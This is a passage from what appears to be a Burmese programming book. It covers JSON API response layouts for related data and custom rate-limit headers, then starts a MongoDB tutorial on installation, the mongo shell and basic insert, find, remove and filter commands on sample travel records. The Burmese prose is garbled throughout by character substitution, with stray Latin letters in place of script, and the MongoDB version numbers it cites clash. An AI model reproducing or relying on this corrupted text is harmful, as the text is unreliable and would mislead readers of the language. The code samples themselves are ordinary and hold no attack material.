တယ်။ အ့ဲဒီလုိ ရှိတဲ့အခါ included ဆိုပြပီးdတာ့ တစ်ခါတည်း တွဲdပးလုိရင် dပးနိုင်တဲ့ သdzာမျ ို းပါ။ ဒီ
လုိပါ။

 JSON 
{

meta: {
id: 1

},
data: {

attributes: {
title: "API Book",
author: "Ei Maung",
price: 4.99,
category_id: 2

},
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relationships: {
category: {

id: 2,
name: "Technology"

}
}

},
included: {

author: {
name: "Ei Maung",
bio: " ... "

}
}

}

မူလ Data dတွက attributes goစ်သွားပြပီး  Relationship Data  dတွက relationships ထဲကို
dရာက်သွားတာပါ။ 

Table Relationship  စနစ်ကို  မသံုးတဲ့  MongoDB  လုိ  NoSQL Database  dတွကိုလည်း သံုးတတ်eကပါ
dသးတယ်။ အ့ဲဒီလို NoSQL Database dတွကdန လာတာဆိရုင်dတာ့ Data dတရွဲ့ oဲွ့စည်းပံုကdတာ့အခု
လုိ goစ်နိုင်ပါတယ်။

 JSON 
{

meta: {
id: 1

},
data: {

title: "API Book",
author: "Ei Maung",
price: 4.99,
category: {

id: 2,
name: "Technology"

}
},
included: {

author: {
name: "Ei Maung",
bio: " ... "

}
}

}
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ပါတဲ့  Data dတွက အတတူူပါပဲ။ zာကွာသွားတာလဲဆိုdတာ့  attributes dတွ relationships
dတွ မပါdတာ့zဲ၊ အချက်အလက်အားလံုးကို တစ်စတုစ်စည်းထဲ တွဲထည့်dပးလုိက်တာပဲ ကွာသွားတာပါ။
ကိုယ့်  Response  မှာ  Relationship Data  dတွ ထည့်dပးo့ုိလုိရင် ဒီနှစ်နည်းထဲက ကြကိုက်တဲ့နည်းကို သံုး
နိုင်ပါတယ်။

Rate Limiting
Request  /  Response  dတရွဲ့  oဲွ့စည်းပံုနဲ့  ပက်သက်ရင်  dနာက်ဆုံးတစ်ခုအdနနဲ့  မှတ်သားသင့်တာ
ကdတာ့  Rate Limit  နဲ့  ပက်သက်တဲ့  Headers  dတွပါ။  API  dတွမှာ  Rate Limit  ထားရပါတယ်။  Rate
Limit    မထားရင်၊    Client   dတွက အထိမ်းအကွပ်မရှိ    Request   ဝုိင်းလုပ်eကတဲ့အခါ    API Server   ကို    Abuse  
လုပ်သလုိgoစ်ပြပီး   Server   က မနိုင်ဝန်ထမ်းရပါလိမ့်မယ်  ။ ဒါdeကာင့် Client တစ်ခုကို တစ်မိနစ်မှာ Request
အကြကိမ်  (၆၀)  သာလုပ်ခွင့်ရှိတယ်ဆိုတာမျ ို းပါ။  ဥပမာအdနနဲ့  dgပာတာပါ။  zယ်dလာက်  ကန့်သတ်မ
လဲဆိုတာကdတာ့ ကိုယ့်  Server  ရဲ့  Capacity  တို့ ကိုယ့်  Service  ရဲ့  Processing Power လုိအပ်ချက်တို့
ကိုယ့် User dတရွဲ့ လုိအပ်ချက်တို့နဲ့ ချင့်ချနိ်ပြပီး သတ်မှတ်ထားရမှာပါ။

API zက်က ဒီလိုကန့်သတ်ထားdeကာင်း  Client ကို ထည့်သွင်းအသိdပးနိုင်ပါတယ်။ ဒီအတွက်  Custom
Header  (၃)  ခုကို  မှတ်သားသင့်ပါတယ်။  X-Rate-Limit-Limit,  X-Rate-Limit-
Remaining နဲ့ X-Rate-Limit-Reset ပါ။

ဒါdတွက  Standard  HTTP Response Headers  dတွ  မဟုတ်eကပါzူး။  API  oန်တီးသူzက်က ကိုယ့်
အစီအစဉ်နဲ့ကိုယ်  Client  သိdစo့ုိ  ထည့်dgပာdပးတဲ့  Custom  Headers  dတွပါ။  X-Rate-Limit-
Limit ကိုသံုးပြပီး  တစ်မိနစ်မှာ  Request  အကြကိမ်dရ zယ်dလာက် ကန့်သတ်ထားသလဲ အသိdပးနိုင်ပါ
တယ်။  X-Rate-Limit-Remaining ကို  သံုးပြပီးdတာ့  အကြကိမ်dရ  zယ်dလာက်ကျန်dသးလဲ
အသိdပးနိုင်ပါတယ်။  X-Rate-Limit-Reset ကိုသံုးပြပီးdတာ့  dနာက်အချနိ်  zယ်dလာက်eကာတဲ့
အခါ Limit ကို Reset gပန်လုပ်dပးမလဲဆိုတာကို dgပာgပနိုင်ပါတယ်။ ဒီလုိပံုစံ goစ်မှာပါ။
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 Response 
200 OK
Content-Type: application/json
X-Rate-Limit-Limit: 60
X-Rate-Limit-Remaining: 58
X-Rate-Limit-Reset: 30

ဒီ Headers အရ၊ တစ်မိနစ်မှာ Request အကြကိမ်အdရအတွက်ကို (၆၀) လ့ုိ ကန့်သတ်ထားပြပီး dနာက်ထပ်
(၅၈)  ကြကိမ်  ကျန်dသးတယ်ဆိုတဲ့  အဓိပ္ပါယ်ရပါတယ်။ စက္ကန့်  (၃၀)  အeကာမှာ  Reset  gပန်လုပ်မှာgoစ်လို့
dနာက်စက္ကန့်  (၃၀)  eကာတဲ့အခါ၊  မူလသတ်မှတ်ချက်အတိုင်း  အကြကိမ်  (၆၀)  gပန်goစ်သွားမယ်ဆိုတဲ့
အဓိပ္ပါယ်ပါ။

ဒီdလာက်ဆိုရင်  API ဒီဇုိင်းပုိင်းနဲ့ပက်သက်ပြပီး  Client zက်gခမ်း၊  API zက်gခမ်း နဲ့  Server zက်gခမ်း သိ
သင့်တာdတွ စုံသdလာက် ရှိသွားပါပြပီ။ ဒီလုိမျ ို းသdzာသzာဝdတွကို  ကိုယ့်zက်သိပြပီဆိုရင် လက်dတွ့
မှာ  ကြကိုက်တဲ့    Language   နဲ့ ကြကိုက်တဲ့    Framework   ကိုသံုးပြပီး    API    dတွ oန်တီးလ့ုိရပါတယ်  ။ PHP မှာဆို
ရင် Laravel လုိ Full-fledged Framework dတွရှိသလုိ Slim လ့ုိ API Framework dတွလည်း ရှိပါတယ်။
Ruby မှာဆိုရင်လည်း Rails လုိ Framework ကြကီးdတွရှိသလုိ Sinatra လုိ Framework dလးdတွလည်း ရိှ
ပါတယ်။ Python မှာဆိုရင်လည်း Django လ့ုိ Framework ကြကီးdတွရှိသလုိ Flask လုိ Framework dလး
dတွ ရှိပါတယ်။  JavaScript  မှာဆိုရင်dတာ့  ExpressJS  လုိ  မူလအစဉ်အလာ  Framework  dတရွှိသလို
NextJS တို့လုိ dခတ်dပါ် Server-side Rendering နည်းပညာdတွ ရှိပါတယ်။ ကြကိုက်တဲ့နည်းပညာကိုသံုး
ပါ။ ဟို Language နဲ့မှ oန်တီးလ့ုိရတယ်၊ ဒီ Framework နဲ့မှ အဆင်dgပတယ် ဆိုတာမျ ို း မရှိdတာ့ပါzူး။
ကိုယ်ကျွမ်းကျင်ရာ၊ နှစ်သက်ရာ နည်းပညာကို dရွးချယ်ပြပီး၊ အခုသိရှိdလ့လာခဲ့eကတဲ့ သdzာသzာဝdတွ
နဲ့ dပါင်းစပ်လုိက်မယ်ဆိုရင် API dတွကို oန်တီးလ့ုိ ရပြပီပဲgoစ်ပါတယ်။

ဒီအပုိင်းမှာdတာ့  အခုသိရှိdလ့လာခဲ့eကတဲ့  သdzာသzာဝdတွကို  လက်dတွ့အသံုးချeကည့်တဲ့  သdzာ
နဲ့ExpressJS ကို အဓိကထားအသံုးgပုပြပီး နမူနာdတွ ဆက်လက်dရးသားdoာ်gပdပးသွားမှာ goစ်ပါတယ်။
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dရှ့ ပုိင်းမှာ  API  ဒီဇုိင်းနဲ့ပက်သက်ပြပီး  သိသင့်တာdတွ  dgပာလို့ပြပီးသွားပါပြပီ။  အခုအ့ဲဒီ  ဗဟုသုdတွကို
လက်dတွ့အသံုးချပြပီး  ဆက်လက်dလ့လာနိုင်o့ုိ  ပdရာZျက်dလးတစ်ခုလုပ်eကည့်ပါမယ်။  အခုချနိ်ကစပြပီး
dတာ့ oတ်ယံုမoတ်dတာ့zဲ၊ အဆင့်လုိက် တစ်ပြပိုင်တည်း လုိက်လုပ်eကည့်ပါလ့ုိ တိုက်တွန်းပါတယ်။ ဒါမှ
တစ်ခါတည်းရပြပီး တစ်ခါတည်း မှတ်မိသွားမှာပါ။

ဒီအပုိင်းကိုdရးdနတဲ့အချနိ်မှာ  Covid-19  ကပ်dရာZါ  goစ်dနချနိ်ဆိုdတာ့၊  အချနိ်ကာလနဲ့  ကိုက်ညီတဲ့  ပ
dရာZျက်dလးတစ်ခု  လုပ်eကမှာပါ။   ခရီးသွားမှတ်တမ်းပdရာZျက်dလးပါ။  သိပ်ကြကီးကြကီးကျယ်ကျယ်ကြကီး
မဟုတ်သလုိ၊  ခက်လည်းမခက်ပါzူး။  လူတစ်dယာက်ခရီးသွားdတာ့မယ်ဆိုရင်  သ့ူရဲ့အမည်၊  မှတ်ပံုတင်
အမှတ်  စတဲ့အချက်အလက်နဲ့အတူ  zယ်ကdန၊  zယ်ကိုသွားမှာလည်း၊  စီးသွားမယ့်  ကားနံပါတ်က
zယ်dလာက်လဲ စသgoင့် အချက်အလက်dတွကို သိမ်းထားလုိက်ပါမယ်။ dနာက်ပိုင်းမှာ လူတစ်dယာက်ရဲ့
ခရီးသွားမှတ်တမ်းကို  သိချင်ရင်  နာမည်တို့  မှတ်ပံုတင်နံပါတ်တို့နဲ့  gပန်ရှာeကည့်လ့ုိရပါမယ်။  ပြမို့အမည်နဲ့
ထုတ်ယူလုိက်ရင်  အ့ဲဒီပြမို့ကို  ဝင်ထားတဲ့လူစာရင်း၊  ထွက်ထားတဲ့  လူစာရင်းကို  gပန်ရပါမယ်။  လက်dတွ့
အသံုးချo့ုိထက်  နမူနာလုပ်eကည့်goစ်လ့ုိ  လံုးဝပြပီးgပည့်စုံo့ုိထက်  စမ်းသင့်တာ စုံdအာင်စမ်းgoစ်oို့ကို  ဦးစား
dပးသွားမှာပါ။

ပdရာZျက်တစ်ခု  လုပ်dတာ့မယ်ဆိုdတာ့  အ့ဲဒီပdရာZျက်ရဲ့  အချက်အလက်dတွကို  သိမ်းဆည်းနိုင်မယ့်
Database နည်းပညာကို အရင်ဆုံး eကည့်eကပါမယ်။ MongoDB လ့ုိ dခါ်တဲ့ နည်းပညာကို အသံုးgပုမှာပါ။
MongoDB  ဟာ  NoSQL  Database  တစ်မျ ို းgoစ်ပါတယ်။  Document  Database  လ့ုိdခါ်ပါတယ်။
အကျဉ်းချုပ်အားgoင့် ရိုးရိုး SQL Database dတွမှာ ကြကိုတင်တည်dဆာက်ထားတဲ့ Table dတွထဲမှာ Data
dတွကို သိမ်းeကပါတယ်။ MongoDB   မှာdတာ့    Table   နဲ့    Table Structure   dတွ မရှzိဲ    Record   တစ်ခုကို  
Document   တစ်ခုပံုစံမျ ို းနဲ့ သိမ်းသွားမှာပါ  ။  Table Structure  မရှိzဲ သိမ်းမှာဆိုပါdတာ့။ ဒါdပမယ့် အ့ဲဒီ
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လုိ ကြကိုတင်သတ်မှတ်ထားတဲ့  Structure မရှိdပမယ့်၊ သိမ်းထားတဲ့  Data dတွကို  SQL Database dတွမှာ
လုိပဲ  Create, Read, Update, Delete  dတွ လုပ်လ့ုိရပါမယ်။ gပန်ရှာလ့ုိရပါမယ်။  Sorting  dတွ စီလ့ုိရပါ
မယ်။  Filter  dတွ  လုပ်လ့ုိရပါမယ်။  Index  dတွလုပ်လ့ုိရပါမယ်။  သိပ်မရှင်းရင်  ကိစ္စမရှိပါzူး။  ခဏနေdန
လက်dတွ့စမ်းeကည့်လုိက်တဲ့အခါ သdzာdပါက်သွားပါလိမ့်မယ်။

စိတ်ဝင်စားo့ုိdကာင်းdပမယ့် NoSQL Database dတွရဲ့ သdzာသzာဝပုိင်းကို ဒီdနရာမှာ eကားgoတ်ပြပီး
မdgပာdတာ့ပါzူး။  Rockstar  Developer စာအုပ်မှာ  အကျယ်တစ်ဝင့်  dရးသားထားပြပီးgoစ်ပါတယ်။
dလ့လာeကည့်o့ုိ တိုက်တွန်းပါတယ်။  NoSQL Database  အမျ ို းမျ ို းရဲ့ သdzာသzာဝdတွ၊ သူတို့ရဲ့ အား
သာချက်  အားနည်းချက်dတွ  ကdန စပြပီးdတာ့  Replication  နဲ့  Cluster  တည်dဆာက်ပံုလို  အဆင့်gမင့်
Server  Architecture  ပုိင်းdတွထိ  doာ်gပထားပါတယ်။  ဒီdနရာမှာdတာ့  လက်dတွ့အသုံးgပုပံုပုိင်းကို
dရးွထုတ်doာ်gပသွားမှာပါ။

Install MongoDB
MongoDB  အတွက်  Installer  ကို  mongodb.com Website  မှာ  Download  လုပ်လ့ုိရပါတယ်။  သ့ူမှာ
Product အမျ ို းမျ ို းရှိလ့ုိ  Community Server ကို dရးွချယ်ပြပီး Download လုပ်ရမှာပါ။ ဒီစာdရးdနချနိ်မှာ
Community Server Download လုပ်oို့အတွက် သွားလ့ုိရတဲ့ တိုက်ရိုက်လင့်ကို doာ်gပdပးလုိက်ပါတယ်။

- https://www.mongodb.com/try/download/community

Ubuntu Linux လုိ  OS မျ ို းမှာdတာ့ ကိုယ့်zာသာ Download လုပ်စရာမလုိပါzူး။  apt ကို သံုးပြပီး အခု
လုိ Install လုပ်လ့ုိ ရနိုင်ပါတယ်။

sudo apt install mongodb

apt နဲ့  Install  လုပ်ရင်ရမယ့်  Version နဲ့  Website ကdန တိုက်ရိုက်  Download လုပ်ရင်ရမယ့် Version
နံပါတ် အနည်းငယ်dတာ့ ကွာနိုင်ပါတယ်။ အသံုးgပုပံု သိပ်မကွာလ့ုိ ကိစ္စမရှိပါzူး။ လက်ရှိဒီစာdရးdနချနိ်
မှာ dရာကရ်ှိdနတဲ့  dနာက်ဆုံး  Version  ကdတာ့  4.4.1  ပါ။  Install  လုပ်တဲ့အဆင့်dတွကိုdတာ့ တစ်ဆင့်
ချင်း မdgပာdတာ့ပါzူး။ Installer မှာdပါ်တဲ့ ညွှန်eကားချက်dတွအတိုင်းပဲ သွားလိုက်ပါ။ 

https://www.mongodb.com/try/download/community
https://www.mongodb.com/try/download/community
https://eimaung.com/rockstar-developer
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Install လုပ်ပြပီးdနာက် ရလာမယ့်ထဲမှာ အထူးသတိgပုရမယ့် အရာနှစ်ခုကdတာ့ mongod နဲ့ mongo တို့ပဲ
goစ်ပါတယ်။  mongod     က    MongoDB Server    goစ်ပြပီးdတာ့    mongo     က    MongoDB Client    ပါ   (Mongo
Shell လ့ုိ dခါ်ပါတယ်)။ ဒါdeကာင့် MongoDB Server ကို Run ချင်ရင် mongod ကို Run dပးရမှာgoစ်ပြပီး
dတာ့၊ Run ထားတဲ့ Server ကို ချတိ်သံုးချင်တယ်ဆိုရင် mongo နဲ့ ချတိ်သံုးရမှာပါ။ Mongo Compass လ့ုိ
dခါ်တဲ့  GUI  ပရိုZရမ်တစ်ခုလည်း  Install  လုပ်စဉ်မှာ တစ်ခါတည်း ပါလာနိုင်dပမယ့်၊ အ့ဲဒါကို dနာက်ပုိင်း
MongoDB  အdeကာင်း  သိသွားပြပီဆိုရင်  ကိုယ့်zာသာ စမ်းသံုးသွားလ့ုိ  ရနိုင်ပါလိမ့်မယ်။  အခုဒီအပုိင်းမှာ
dတာ့ ပုိပြပီးအdgခခံကျတဲ့ mongo Shell ကdန အသုံးgပုပံုကို doာ်gပသွားမှာပါ။

Windows မှာ mongod နဲ့  mongo ရိှdနတဲ့ oုိဒါကို  PATH Environment Variable ထဲမှာ ကိုယ့်zာသာ
ထည့်dပးo့ုိ လုိdကာင်းလုိနိုင်ပါတယ်။ PATH သတ်မှတ်ပံုကိုdတာ့ ဒီdနရာမှာ ထည့်မdgပာdတာ့ပါzူး။ သိ
မယ်လို့  ယူဆပါတယ်။ မသိdသးရင်လည်း eကားgoတ်ပြပီး  Windows  မှာ  PATH Environment Variable
zယ်လုိ သတ်မှတ်ရလဲဆိုတာကို အရင်dလ့လာeကည့်လုိက်ပါ။ လက်ရှိဒီစာကို dရးသားdနချနိ်မှာ Default
Installation  oုိဒါက  C:\Program  Files\MongoDB\Server\4.0\bin  goစ်ပါတယ်။  သူကို  PATH  ထဲမှာ
ထည့်ထားdပးo့ုိ လုိတာပါ။ ဒီdတာ့မှ Windows ရဲ့ zယ်dနရာကdနမဆို mongod နဲ့ mongo တို့ကို Run
လ့ုိရမှာပါ။

Install လုပ်စဉ်ကdရွးခဲ့တဲ့  Option dပါ်မူတည်ပြပီး  mongod Server က System Service အdနနဲ့ အလုိ
အdလျှာက်  Run  ပြပီး  goစ်နိုင်ပါတယ်။  ဒီလုိ  Server  အလုိအdလျှာက်  Run  dနပြပီဆိုရင်dတာ့  mongo
Command ကို Command Prompt မှာ Run ပြပီးချတိ်eကည့်လ့ုိရပါတယ်။ အကယ်၍ ချတိ်လို့မရzူးဆိုရင်
mongod Server  Run  မdနလုိ့  goစ်နိုင်ပါတယ်။  Windows  မှာအခုလုိ  mongod Server  ကို  System
Service အdနနဲ့ Install လုပ်dပးလိုက်လ့ုိ ရပါတယ်။

mongod --install 

ပြပီးတဲ့အခါ၊ စက်ကို  Restart  လုပ်dပးလုိက်မယ်ဆိုရင် dနာက်ပုိင်း စက်gပန်တက်ချနိ်မှာ  mongod Server
က System Service အdနနဲ့ အလုိအdလျှာက် Run dနမှာပါ။ အကယ်၍ Service အdနနဲ့  Install  မလုပ်
ချင်zူးဆိုရင်လည်း ဒီလို Manual Run dပးလ့ုိ ရပါတယ်။
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mongod --dbpath=C:\mongodata

C:\mongodata ဆိုတဲ့ oုိဒါကိုdတာ့ အရင်ကြကိုdဆာက်ထားdပးo့ုိ လုိပါတယ်။ ဒါမှမဟုတ် တgခားdနရာမှာ
oုိဒါdဆာက်ထားပြပီး  C:\mongodata  အစား  အစားထုိးdပးမယ် ဆိုရင်လည်း  ရပါတယ်။  MongoDB  က
Data dတွကို အ့ဲဒီoုိဒါထဲမှာ သွားသိမ်းမှာပါ။ Server Run သွားပြပီဆိုရင် Run ထားတဲ့ Command Prompt
ကို ဒီအတိုင်းဆက်oွင့်ထားdပးရမှာပါ၊ ပိတ်လုိက်လ့ုိမရပါzူး။ ပိတ်လိုက်ရင် Server လည်း လုိက်ပိတ်သွား
မှာပါ။ ဒါdeကာင့် ဒီလို Manual Run တာက သိပ်အဆင်မdgပပါzူး။ တစ်ခါသံုးချင်တိုင်း တစ်ခါ Run dနရ
မှာမ့ုိလ့ုိ  အထက်မှာdgပာထားသလုိ  System  Service  အdနနဲ့  Install  လုပ်ထားလုိက်တာကdတာ့  ပုိ
dကာင်းပါတယ်။

mongod Server ကို Run dနပြပီဆိုရင်dတာ့ Command Prompt မှာပဲ mongo Command နဲ့ Server ကို
အခုလုိ လှမ်းချတိ်လုိက်လ့ုိရပါပြပီ။

mongo

MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
… 
MongoDB server version: 3.6.8
…
2020-09-16T10:34:24.094+0630 I CONTROL  [initandlisten] 
> 

ဒါဆိုရင် Mongo Shell ထဲကို dရာက်ရှိသွားပြပီgoစ်လ့ုိ Server မှာရှိတဲ့ Database နဲ့ Data dတွကို စတင်စီမံ
နိုင်ပြပီပဲ goစ်ပါတယ်။
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CRUD
ပdရာZျက်အတွက် နမူနာ Data dတွထည့်ရင်းနဲ့ MongoDB မှာ Create, Read, Update, Delete လုပ်ငန်း
dတွ zယ်လုိလုပ်ရလဲဆိုတာ dလ့လာeကည့်eကပါမယ်။ ပထမဦးဆုံးအdနနဲ့  show dbs Command ကို
စမ်းeကည့်ပါ ( mongo Shell မှာစမ်းရမှာပါ )။ လက်ရှိ ရှိdနတဲ့ Database စာရင်းကို dတွ့ရပါလိမ့်မယ်။

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

admin, config, local ဆိုတာ နZိုကတည်းက ရှိdနတဲ့  Database dတွပါ။  use Command နဲ့
ကိုယ်အသံုးgပုလုိတဲ့  Database ကို dရွးလ့ုိရပါတယ်။ မရှိdသးတဲ့  Database ကို dရွးလုိက်ရင်dတာ့ အလုိ
အdလျှာက် Database အသစ် dဆာက်dပးသွားမှာပါ။

> use travel
switched to db travel

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

use travel လ့ုိ dgပာလုိက်တဲ့အတွက်  travel အမည်နဲ့  Database  ကို dရွးရမှာပါ။ မရှိတဲ့အတွက်
အသစ်dဆာက်  dပးသွားပါလိမ့်မယ်။  ဒါdပမယ့်  show  dbs  ကို  ချက်gခင်းdခါ်eကည့်ရင်  Database
စာရင်းထဲမှာ travel မပါdသးတာကို သတိgပုနိုင်ပါတယ်။ အခုတစ်ကယ် မdဆာက်dသးzဲ Data dတွ
စသိမ်းပြပီ  ဆိုdတာ့မှ  Database  ကို  တစ်ခါတည်းdဆာက်ပြပီး  တစ်ခါတည်း သိမ်းသွားdပးမှာပါ။  use နဲ့
Database  တစ်ခုကို  dရွးပြပီး/dဆာက်ပြပီးပြပီဆိုရင်၊  db ကdနတစ်ဆင့်  Data  သိမ်းတာdတွ၊  gပင်တာdတွ၊
oျက်တာdတွ လုပ်လ့ုိရပါပြပီ။ 

ရိုးရိုး  SQL  Database  dတွမှာ  Data  dတွကို  Table  နဲ့  သိမ်းပါတယ်။  MongoDB  မှာ  Data  dတွကို
Collection နဲ့သိမ်းပါတယ်။ ကွာသွားတာက Table မှာ Columns နဲ့ Structure ရိှပြပီး Collection မှာdတာ့
zာ Structure မှ မရှိzဲ Data dတွ သိမ်းလ့ုိ ရပါတယ်။
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Collection  တစ်ခု  တည်dဆာက်လုိရင်  db.createCollection("name") နဲ့  dဆာက်လ့ုိရပါ
တယ်။ name dနရာမှာ မိမိနှစ်သက်ရာ Collection အမည်ကို သတ်မှတ်dပးနိုင်ပါတယ်။ Collection dတွ
gပန်oျက်လုိရင်dတာ့  db.dropCollection("name") ကို  သံုးပြပီး  oျက်နိုင်ပါတယ်။  ထံုးစံအတိုင်း
name dနရာမှာ oျက်လိုတဲ့  Collection  အမည်ကို dပးရမှာပါ။  Collection  စာရင်းကို eကည့်ချင်ရင်dတာ့
show collections  နဲ့ eကည့်လ့ုိရပါတယ်။

Collection  တည်dဆာက်နည်း  dနာက်တစ်နည်းကdတာ့  Data  သာ  ထည့်လုိက်ပါ။  သ့ူzာသာ  လုိတဲ့
Database  dတွ  Collection  dတွကို  အလုိအdလျှာက်  dဆာက်dပးသွားပါတယ်။ အ့ဲဒီနည်းကို  အခုသံုးပါ
မယ်။ ဒီလုိပါ -

> use travel
switched to db travel

> db.records.insert({ name: "Bobo", age: 23 })
WriteResult({ "nInserted" : 1 })

use travel နဲ့  travel Database  ကို  သံုးပါတယ်။ ပြပီးတဲ့အခါ  db.records.insert() နဲ့
Data ထည့်လုိက်တဲ့အတွက်  records အမည်ရ Collection  ထဲကို  Data  တစ်deကာင်း သိမ်းသွားမှာပါ။
Document တစ်ခု သိမ်းသွားတယ်လို့ dgပာမှတိကျပါမယ်။ ဒါdပမယ့် အdခါ်အdဝါ်dတွ ရှုပ်ကုန်မှာစိုးလုိ့ ပုိ
gမင်သာမယ်လ့ုိ ထင်တဲ့ Data လ့ုိပဲ ဆက်dgပာသွားပါမယ်။ Data ကို dပးတဲ့အခါ JSON Format နဲ့ပဲ dပးရ
ပါတယ်။ တစ်ကယ့် အdခါ်အdဝါ်အမှန်ကdတာ့  BSON dခါ် Binary JSON ပါ။ ဒါdပမယ့် အသံုးgပုနည်း
မှာ သိပ်မကွာလို့ စာoတ်သူနဲ့ ပုိရင်းနှီးပြပီး goစ်နိုင်တဲ့ JSON လ့ုိပဲ ဆက်သံုးသွားပါမယ်။

မူလက  travel Database  တို့  records Collection  တို့  မရှိလည်း  ကိစ္စမရှိပါzူး။  MongoDB  က
တစ်ခါတည်း အလုိအdလျှာက်dဆာက်ပြပီး သိမ်းdပးသွားမှာပါ။ သိမ်းထားတဲ့  Data  dတွကို  gပန်eကည့်ချင်
ရင် db.collection.find() ကို သံုးရပါတယ်။ collection dနရာမှာ Collection အမည်မှန်နဲ့
အစားထုိးdပးလိုက်ယံုပါပဲ။ ဒီလုိပါ -
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> db.records.find()
{ "_id" : ObjectId("5f62433057f76967c5d976ee"), "name" : "Bobo", "age" : 23 }

gမင်dတွ့ရတဲ့အတိုင်း dစာdစာကdပးလုိက်တဲ့ Data ကိုgပန်ရပါတယ်။ လွယ်လွယ်dလးပါ။ insert() နဲ့
ထည့်ပြပီး find() နဲ့gပန်ထုတ်eကည့်ရတာပါ။ ထူးgခားချက်အdနနဲ့ Auto ID တစ်ခုလည်း ထွက်သွားတယ်
ဆိုတာdတွ့ရနိုင်ပါတယ်။  _id လ့ုိ  dရှ့ကdန  Underscore  dလးခံပြပီး  dပးပါတယ်။  UUID  dခါ်
Universally Unique goစ်တဲ့  ID ကို  MongoDB က ထုတ်dပးသွားတာပါ။ အ့ဲဒီ  ID ရo့ုိအတွက် MongoDB
ရဲ့ အရင် Version dတွက Timestamp, Machine ID, Process ID  နဲ့  Auto Increment Counter  ဆိုတဲ့
အချက်  (၄)  ချက်ကိုdပါင်းပြပီး  oန်တီးယူပါတယ်။  dနာက်ပုိင်း  Version  dတွမှာdတာ့  Timestamp,
Random Value  နဲ့  Auto  Increment  Counter  တို့ကို  dပါင်းပြပီး  oန်တီးယူပါတယ်။  zယ်လိုပဲgoစ်goစ်
Unique goစ်တဲ့ ID တစ်ခုကို ရလုိက်တာပါပဲ။

UUID  Value  ကို  ObjectId() ဆိုတဲ့  Function  တစ်ခုနဲ့  ထည့်dပးတာကိုလည်း  သတိgပုပါ။  အ့ဲဒီ
ObjectId() ရဲ့ အကူအညီနဲ့ UUID ထဲကdန Timestamp dတzွာdတွ လုိအပ်တဲ့အခါ gပန်ထုတ်ယူလ့ုိ
ရပါတယ်။ ဆိုလုိတာက တစ်ချက်ခုတ်  နှစ်ချက်gပတ်ပါ။ တစ်ခုတည်းနဲ့  Unique  goစ်တဲ့  ID  လည်းရမယ်၊
Timestamp  လည်းရမယ်ဆိုတဲ့ သdzာပါ။  UUID  ထဲကdန  Timestamp  ကို အခုလုိgပန်ထုတ်ယူလ့ုိ ရပါ
တယ်။

> ObjectId("5f62481e8873b1d7bff76272").getTimestamp()

ထည့်ထားတဲ့ Data dတွကို gပန်oျက်ချင်ရင် remove() ကိုသုံးနိုင်ပါတယ်။ zာကိုoျက်မှာလဲဆိုတဲ့ Filter
ကို JSON နဲ့ dပးရပါတယ်။ ဒီလိုပါ -

> db.records.remove({ name: "Bobo" })
WriteResult({ "nRemoved" : 1 })

တစ်ကယ်တန်း  တိတိကျကျoျက်ချင်ရင်  _id ကိုdပးပြပီး  oျက်သင့်ပါတယ်။  အခုdတာ့  နမူနာအdနနဲ့
name: Bobo ကို oျက်dပးပါလ့ုိ Filter အdနနဲ့ dပးလုိက်တာပါ။ 
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ဆက်လက်ပြပီးdတာ့၊ စမ်းစရာ  Data  ရdအာင် နမူနာ  Data  တစ်ချ ို ့  ထည့်လုိက်ပါမယ်။ တစ်deကာင်းချင်း
ထည့်စရာမလုိပါzူး။ JSON Array အdနနဲ့ စုစည်းပြပီး dပးလုိက်လ့ုိရပါတယ်။ ဒီလုိပါ -

> db.records.insert([
{name: "Bobo", nrc: "A0131", from: "Yangon", to: "Mandalay", with: "5B9876"},
{name: "Nini", nrc: "A1476", from: "Yangon", to: "Bago", with: "3G6457"},
{name: "Coco", nrc: "B0487", from: "Bago", to: "Yangon", with: "4L2233"},
{name: "Mimi", nrc: "C1987", from: "Yangon", to: "Mandalay", with: "9E4343"},
{name: "Nono", nrc: "B0098", from: "Bago", to: "Yangon", with: "4L2233"},
{name: "Momo", nrc: "C0453", from: "Yangon", to: "Bago", with: "3G6457"}
])

BulkWriteResult({
"writeErrors" : [ ],
"writeConcernErrors" : [ ],
"nInserted" : 6,
"nUpserted" : 0,
"nMatched" : 0,
"nModified" : 0,
"nRemoved" : 0,
"upserted" : [ ]

})

ထည့်ထားတဲ့  Data  dတွကို  find() နဲ့  gပန်ထုတ်eကည့်ရင်  Data  dတွများလာပြပီမ့ုိလုိ့  eကည့်ရတာ
မျက်စိရှုပ်စရာ  goစ်dနတာကို  dတွ့ရပါလိမ့်မယ်။  အ့ဲဒါကိုeကည့်ရတာ  အဆင်dgပdစချင်ရင်  အခုလုိ
pretty() နဲ့ ထပ်တွဲပြပီး eကည့်လ့ုိရပါတယ်။

> db.records.find().pretty()
{

"_id" : ObjectId("5f62481e8873b1d7bff76271"),
"name" : "Bobo",
"nrc" : "A0131",
"from" : "Yangon",
"to" : "Mandalay",
"with" : "5B9876"

}
{

"_id" : ObjectId("5f62481e8873b1d7bff76273"),
"name" : "Coco",
"nrc" : "B0487",
"from" : "Bago",
"to" : "Yangon",
"with" : "4L2233"

}
… 
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ဆက်လက်ပြပီးdတာ့  Sorting,  Filter  နဲ့  Paging  dတွဆက်eကည့်eကပါမယ်။  Filter  အတွက်ကdတာ့
dစာdစာက remove() လုိပါပဲ၊ find() ကို JSON နဲ့ Filter တန်oုိးdတွ dပးလ့ုိရပါတယ်။ ဒီလုိပါ -

 > db.records.find({ from: "Yangon" })

ဒါဆိုရင် from: Yangon တန်oုိးနဲ့ ကိုက်ညီတဲ့ Data dတွကိုပဲ gပန်ရမှာပါ။ Filter ကို တစ်ခုထက်ပုိdပး
လ့ုိလည်း ရပါတယ်။ ဥပမာ -

 > db.records.find({ from: "Yangon", to: "Bago" })

ဒါဆိုရင်  from: Yangon နဲ့  to: Bago ဆိုတဲ့ တန်oုိးနှစ်ခုလံုးနဲ့ကိုက်တဲ့  Data dတွကိုပဲ gပန်dပးမှာ
ပါ။ AND Filter လ့ုိ dgပာလ့ုိရပါတယ်။ OR Filter ပံုစံလုိချင်ရင်dတာ့ dရးရတာ နည်းနည်းရှုပ်သွားပါတယ်။
ဒီလုိပါ။

> db.records.find({ 
    $or: [
        { from:"Yangon" }, 
        { to: "Yangon" }
    ]
})

$or Operator အတွက် Filter လုပ်ချင်တဲ့တန်oိုးdတွ တန်းစီdပးလုိက်ရတာပါ။ Greater Than တို့  Less
